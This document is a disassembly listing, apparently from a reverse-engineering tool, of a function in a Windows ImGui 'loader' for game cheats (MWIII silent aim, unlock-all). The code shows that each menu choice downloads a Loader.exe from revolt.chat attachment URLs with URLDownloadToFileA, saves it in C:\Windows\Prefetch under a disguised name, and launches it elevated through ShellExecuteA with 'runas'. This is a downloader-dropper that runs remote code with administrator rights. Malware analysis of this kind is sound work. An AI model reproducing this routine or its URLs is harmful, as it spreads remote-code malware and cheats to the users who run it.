Function at 0x1400014a0
Capabilities:
Create process on windows
Download url
Receive data
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [r11 - 0x108]
sub rsp, 0x1e0
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
movaps xmmword [r11 - 0x58], xmm8
movaps xmmword [r11 - 0x68], xmm9
movaps xmmword [r11 - 0x78], xmm10
mov rax, qword [0x140082040]
xor rax, rsp
mov qword [rbp + 0x40], rax
movss xmm0, dword [0x14009fef4]
xorps xmm8, xmm8
addss xmm0, dword [0x140079e88]
movss xmm6, dword [0x140079f14]
mov qword [r11 + 8], r13
mov qword [r11 + 0x10], r15
movaps xmmword [r11 - 0x88], xmm11
comiss xmm0, xmm6
movaps xmmword [r11 - 0xa8], xmm13
movss dword [0x14009fef4], xmm0
movaps xmmword [r11 - 0xb8], xmm15
jbe 0x140001536
mov dword [0x14009fef4], 0
movss xmm0, dword [0x140079ef8]
lea rcx, [rsp + 0x58]
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm6
call section..text
movss xmm0, dword [0x140079f04]
lea rcx, [rsp + 0x78]
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm6
call section..text
movss xmm0, dword [0x140079ee4]
lea rcx, [rsp + 0x78]
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm6
call section..text
mov rcx, qword [0x14009fe00]
test rcx, rcx
jne 0x1400015bd
mov r8d, 0x997
lea rdx, str.C:UsersTonyDesktopPQAZ_Loadersimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x14009fe00]
lea rbx, [rcx + 0x1638]
test rcx, rcx
jne 0x1400015ea
mov r8d, 0xda0
lea rdx, str.C:UsersTonyDesktopPQAZ_Loadersimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x14009fe00]
mov dword [rbx + 0x10], 0x40400000
lea rdx, [0x1400820b8]
mov dword [rbx + 0xc], 0x3f800000
mov r8d, 0x12b
movaps xmmword [rsp + 0x170], xmm12
mov dword [rbx + 0xe4], 0x3d75c28f
mov dword [rbx + 0xe8], 0x3d75c28f
mov dword [rbx + 0xec], 0x3d75c28f
mov dword [rbx + 0xf0], 0x3f70a3d7
movaps xmm1, xmmword [0x14007a100]
movaps xmm0, xmmword [0x14007a0f0]
movups xmmword [rbx + 0x144], xmm1
movups xmmword [rbx + 0x154], xmm1
movups xmmword [rbx + 0x224], xmm1
movups xmmword [rbx + 0x234], xmm1
movups xmmword [rbx + 0x174], xmm1
movups xmmword [rbx + 0x134], xmm0
movaps xmm0, xmm1
movaps xmm1, xmmword [0x14007a110]
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rbx + 0xc4], xmm1
movups xmmword [rbx + 0x164], xmm0
movaps xmm0, xmmword [0x14007a100]
movups xmmword [rbx + 0x254], xmm0
movups xmmword [rbx + 0x244], xmm0
movups xmmword [rbx + 0x264], xmm0
mov dword [rbx + 0x1c], 0x3f000000
mov dword [rbx + 0x20], 0x3f000000
movaps xmm1, xmm0
movaps xmm1, xmmword [0x14007a0f0]
mov dword [rbx + 0x94], 0x3f000000
mov dword [rbx + 0x98], 0x3f000000
mov dword [rbx + 0x70], 0x40400000
mov dword [rbx + 0x7c], 0x40a00000
mov dword [rbx + 0x28], 0x41000000
mov dword [rbx + 0x40], 0x3f800000
mov dword [rbx + 0x44], 0x3f800000
movups xmmword [rbx + 0x214], xmm1
movups xmmword [rbx + 0x114], xmm0
mov eax, dword [rcx + 0x1dc0]
movss xmm1, dword [0x14009f744]
or eax, 1
movss xmm0, dword [0x14009f740]
mov dword [rcx + 0x1dc0], eax
or eax, 0x42
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
unpcklps xmm0, xmm1
xorps xmm1, xmm1
movsd qword [rcx + 0x1dd4], xmm0
unpcklps xmm1, xmm8
movsd qword [rcx + 0x1ddc], xmm1
movss xmm0, dword [0x14009f748]
movss xmm1, dword [0x14009f74c]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1e20], 0x3f800000
lea rcx, [0x14004e678]
call fcn.14000f130
call fcn.140001140
mov rcx, qword [0x14009fe00]
lea r13, str.__________________________________________RO
movss xmm0, dword [0x140079fe4]
lea rdx, [rsp + 0x58]
movss xmm3, dword [0x140079fd4]
xor r12d, r12d
mov qword [rsp + 0x38], r12
mov rax, qword [rcx + 0x1d18]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r13
movss dword [rsp + 0x20], xmm0
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rcx + 0x1a80]
mov rcx, qword [rcx + 0x1a78]
mov rbx, qword [rax + 0x2f8]
movsd xmm11, qword [rax + 0x50]
movss xmm7, dword [rax + 0x58]
call fcn.14003b5d0
movss xmm0, dword [rsp + 0x58]
lea rcx, [rsp + 0x68]
addss xmm0, dword [0x140079f0c]
movaps xmm1, xmm7
movsd qword [rsp + 0x58], xmm11
movss xmm10, dword [rsp + 0x5c]
addss xmm1, xmm11
cvttss2si eax, xmm0
movaps xmm0, xmmword [0x14007a0b0]
movups xmmword [rsp + 0x68], xmm0
movaps xmm0, xmm10
movss dword [rsp + 0x50], xmm1
addss xmm0, dword [0x140079f80]
movd xmm15, eax
cvtdq2ps xmm15, xmm15
movss dword [rsp + 0x54], xmm0
call fcn.140004080
movss xmm0, dword [0x140079f64]
lea r8, [rsp + 0x50]
mov r9d, eax
mov dword [rsp + 0x28], 0x30
lea rdx, [rsp + 0x58]
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
call fcn.140036070
movaps xmm0, xmmword [0x14007a0d0]
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
call fcn.140004080
movaps xmm9, xmm11
movaps xmm13, xmm10
mov r15d, eax
addss xmm9, dword [0x140079f5c]
addss xmm13, dword [0x140079f54]
test eax, 0xff000000
je 0x140001967
mov rax, qword [rbx + 0x38]
mov r14, qword [rax + 8]
movss xmm12, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [r14 + 0x40]
cmp qword [rcx + 8], rax
je 0x140001913
mov r8d, 0x630
lea rdx, str.C:UsersTonyDesktopPQAZ_Loadersimguiimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x14004e8cc]
movss dword [rsp + 0x40], xmm8
movaps xmm2, xmm12
mov qword [rsp + 0x38], rax
mov rdx, rbx
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x30], r13
lea rax, [rsp + 0x68]
movaps xmm0, xmm9
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm13
mov rcx, r14
movq r9, xmm0
mov dword [rsp + 0x20], r15d
call fcn.14003b9f0
movaps xmm0, xmmword [0x14007a0d0]
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
call fcn.140004080
mov r15, qword [rsp + 0x218]
addss xmm9, xmm15
movaps xmm15, xmmword [rsp + 0x150]
mov r14d, eax
mov r13, qword [rsp + 0x210]
test eax, 0xff000000
je 0x140001a39
mov rcx, qword [rbx + 0x38]
mov rdi, qword [rcx + 8]
movss xmm12, dword [rcx + 0x10]
mov rcx, qword [rbx + 0x98]
mov rdx, qword [rdi + 0x40]
cmp qword [rdx + 8], rcx
je 0x1400019e2
mov r8d, 0x630
lea rdx, str.C:UsersTonyDesktopPQAZ_Loadersimguiimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x14004e8d3]
movss dword [rsp + 0x40], xmm8
movaps xmm2, xmm12
mov qword [rsp + 0x38], rax
mov rdx, rbx
lea rax, [0x14004e8d0]
unpcklps xmm9, xmm13
mov qword [rsp + 0x30], rax
movq r9, xmm9
lea rax, [rsp + 0x68]
mov rcx, rdi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
movups xmmword [rsp + 0x68], xmm0
call fcn.14003b9f0
movaps xmm0, xmmword [0x14007a100]
lea rcx, [rsp + 0x68]
movaps xmm1, xmm7
movss dword [rsp + 0x50], xmm11
addss xmm1, xmm11
movups xmmword [rsp + 0x68], xmm0
movaps xmm0, xmm10
addss xmm0, dword [0x140079f80]
movss dword [rsp + 0x58], xmm1
movaps xmm1, xmm10
addss xmm1, dword [0x140079f80]
movss dword [rsp + 0x5c], xmm0
movss dword [rsp + 0x54], xmm1
call fcn.140004080
mov r9d, eax
movss dword [rsp + 0x20], xmm6
lea rdx, [rsp + 0x50]
mov rcx, rbx
lea r8, [rsp + 0x58]
call fcn.140035e00
movaps xmm0, xmmword [0x14007a040]
lea rcx, [rsp + 0x68]
movss xmm9, dword [0x140079f88]
movaps xmm1, xmm0
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rbp - 0x78], xmm0
movaps xmm0, xmmword [0x14007a0e0]
movaps xmm1, xmm0
movss dword [rsp + 0x50], xmm11
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
movaps xmm1, xmm10
movaps xmm0, xmm7
addss xmm10, dword [0x140079f84]
addss xmm1, xmm9
addss xmm0, xmm11
movss dword [rsp + 0x54], xmm10
movss dword [rsp + 0x5c], xmm1
movss dword [rsp + 0x58], xmm0
call fcn.140004080
lea rcx, [rbp - 0x78]
mov r11d, eax
call fcn.140004080
lea rcx, [rbp - 0x68]
mov r10d, eax
call fcn.140004080
lea rcx, [rsp + 0x78]
mov r8d, eax
call fcn.140004080
mov dword [rsp + 0x30], r11d
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x28], r10d
mov r9d, eax
mov dword [rsp + 0x20], r8d
mov rcx, rbx
lea r8, [rsp + 0x58]
call fcn.140036210
mov rcx, qword [0x14009fe00]
movaps xmm0, xmm7
subss xmm0, dword [0x140079f70]
movss xmm10, dword [0x140079f4c]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [0x14004e8d4]
movss xmm3, dword [rax + 0x50]
movss xmm2, dword [rax + 0x54]
subss xmm3, dword [rax + 0x9c]
subss xmm2, dword [rax + 0xa0]
addss xmm3, xmm0
addss xmm2, xmm10
movss dword [rax + 0x118], xmm3
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, xmm3
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.14004b5c0
movaps xmm13, xmmword [rsp + 0x160]
movaps xmm12, xmmword [rsp + 0x170]
movaps xmm11, xmmword [rsp + 0x180]
test al, al
jne 0x1400021f0
mov rcx, qword [0x14009fe00]
subss xmm7, xmm9
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [0x14004e8d8]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm7
addss xmm2, xmm10
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.14004b5c0
test al, al
je 0x140001cbc
lea rdx, [0x14004e678]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
mov rbx, qword [0x14009fe00]
test rbx, rbx
jne 0x140001ce9
mov r8d, 0xda0
lea rdx, str.C:UsersTonyDesktopPQAZ_Loadersimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14009fe00]
movss xmm0, dword [0x140079e94]
subss xmm0, dword [rbx + 0x18]
movss xmm7, dword [0x14009fdf0]
comiss xmm6, xmm7
mulss xmm0, dword [0x140079e90]
ja 0x140001d0e
xorps xmm6, xmm6
subss xmm6, xmm7
mov dword [rsp + 0x58], r12d
lea rcx, [rbx + 0x1e80]
lea rdx, [rsp + 0x58]
mulss xmm6, xmm0
movss xmm0, dword [rbx + 0x1638]
movss dword [rsp + 0x5c], xmm0
addss xmm7, xmm6
movss dword [0x14009fdf0], xmm7
call fcn.140029600
mov rdi, qword [0x14009fe00]
movss dword [rbx + 0x1638], xmm7
mov rcx, qword [rdi + 0x1d18]
lea rbx, [rcx + 0x204]
add rcx, 0x210
mov rdx, rbx
call fcn.140029bf0
mov rcx, qword [0x14009fe00]
xor r8d, r8d
mov rdx, qword [str.Select_Loader]
mov dword [rbx], 0x43480000
and dword [rdi + 0x1e58], 0xfffffffe
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, str.combo
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x140079f90]
addss xmm2, dword [0x140079f98]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.140045440
lea rdi, str.MWIII_Silent_Aim_Chair__Blocker
lea rsi, str.ROYAL_CHAIR
lea r14, str.Unlock_All__Blocker
test al, al
je 0x140001ecd
cmp qword [str.Select_Loader], rdi
lea r9, [rsp + 0x50]
mov rcx, rdi
mov qword [rsp + 0x50], r12
sete bl
xor r8d, r8d
movzx edx, bl
call fcn.140045fe0
test al, al
je 0x140001e5d
mov qword [str.Select_Loader], rdi
test bl, bl
je 0x140001e66
call fcn.140013370
cmp qword [str.Select_Loader], rsi
lea r9, [rsp + 0x50]
mov rcx, rsi
sete bl
xor r8d, r8d
movzx edx, bl
call fcn.140045fe0
test al, al
je 0x140001e8e
mov qword [str.Select_Loader], rsi
test bl, bl
je 0x140001e97
call fcn.140013370
cmp qword [str.Select_Loader], r14
lea r9, [rsp + 0x50]
mov rcx, r14
sete bl
xor r8d, r8d
movzx edx, bl
call fcn.140045fe0
test al, al
je 0x140001ebf
mov qword [str.Select_Loader], r14
test bl, bl
je 0x140001ec8
call fcn.140013370
call fcn.1400156f0
call fcn.140014170
mov rcx, qword [0x14009fe00]
lea rdx, [rsp + 0x58]
mov dword [rsp + 0x58], 0x42aa0000
mov dword [rsp + 0x5c], 0x41c80000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x140079fac]
addss xmm2, dword [0x140079fa4]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
call fcn.140043520
test al, al
je 0x1400021f9
mov rax, qword [str.Select_Loader]
lea rcx, str.Select_Loader
cmp rax, rcx
jne 0x140001fa5
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Wrong_Input
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [str.Select_Loader]
cmp rax, rdi
jne 0x140002074
movups xmm0, xmmword [str.C:WindowsPrefetchSilent_Aim_Chair.exe]
movzx eax, byte [0x14004e838]
xor r9d, r9d
movups xmm1, xmmword [0x14004e820]
mov byte [rbp - 0x30], al
lea r8, [rbp - 0x58]
mov eax, dword [0x14004e898]
lea rdx, [rbp - 0x20]
movups xmmword [rbp - 0x58], xmm0
xor ecx, ecx
mov dword [rbp + 0x38], eax
movsd xmm0, qword [0x14004e830]
movzx eax, byte [0x14004e89c]
movsd qword [rbp - 0x38], xmm0
movaps xmm0, xmmword [str.https:__autumn.revolt.chat_attachments_4SXxAWEobXKImszEOKvuyecMw9aSHuSpzOVJDKiBsO_Loader.exe]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [0x14004e860]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [0x14004e880]
movups xmmword [rbp - 0x48], xmm1
mov byte [rbp + 0x3c], al
movaps xmm1, xmmword [0x14004e850]
movaps xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [0x14004e890]
movaps xmmword [rbp - 0x10], xmm1
movaps xmm1, xmmword [0x14004e870]
movsd qword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x10], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r12
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rax, qword [str.Select_Loader]
cmp rax, rsi
jne 0x140002135
movups xmm0, xmmword [str.C:WindowsPrefetchROYAL_CHAIR.exe]
mov eax, dword [0x14004e718]
xor r9d, r9d
movups xmm1, xmmword [0x14004e708]
mov dword [rbp - 0x38], eax
lea r8, [rbp - 0x58]
mov eax, dword [0x14004e778]
lea rdx, [rbp - 0x20]
movups xmmword [rbp - 0x58], xmm0
xor ecx, ecx
mov dword [rbp + 0x38], eax
movaps xmm0, xmmword [str.https:__autumn.revolt.chat_attachments_452Bi_3v_YscNACn2fa6Vh_KI3etO1_y9Laon8jq_2_Loader.exe]
movzx eax, byte [0x14004e77c]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [0x14004e740]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [0x14004e760]
movups xmmword [rbp - 0x48], xmm1
mov byte [rbp + 0x3c], al
movaps xmm1, xmmword [0x14004e730]
movaps xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [0x14004e770]
movaps xmmword [rbp - 0x10], xmm1
movaps xmm1, xmmword [0x14004e750]
movsd qword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x10], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r12
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rax, qword [str.Select_Loader]
cmp rax, r14
jne 0x1400021f0
movups xmm0, xmmword [str.C:WindowsPrefetchUnlocker.exe]
movzx eax, byte [0x14004e7a8]
xor r9d, r9d
movups xmm1, xmmword [0x14004e798]
mov byte [rbp - 0x38], al
lea r8, [rbp - 0x58]
mov eax, dword [0x14004e808]
lea rdx, [rbp - 0x20]
movups xmmword [rbp - 0x58], xmm0
xor ecx, ecx
mov dword [rbp + 0x38], eax
movaps xmm0, xmmword [str.https:__autumn.revolt.chat_attachments_4Z_64UYe2A21R9e3u83NwFPbQZ4blJEOpDtzPrCM53_Loader.exe]
movzx eax, byte [0x14004e80c]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [0x14004e7d0]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [0x14004e7f0]
movups xmmword [rbp - 0x48], xmm1
mov byte [rbp + 0x3c], al
movaps xmm1, xmmword [0x14004e7c0]
movaps xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [0x14004e800]
movaps xmmword [rbp - 0x10], xmm1
movaps xmm1, xmmword [0x14004e7e0]
movsd qword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x10], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r12
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004790
call fcn.140012380
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.14004be20
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret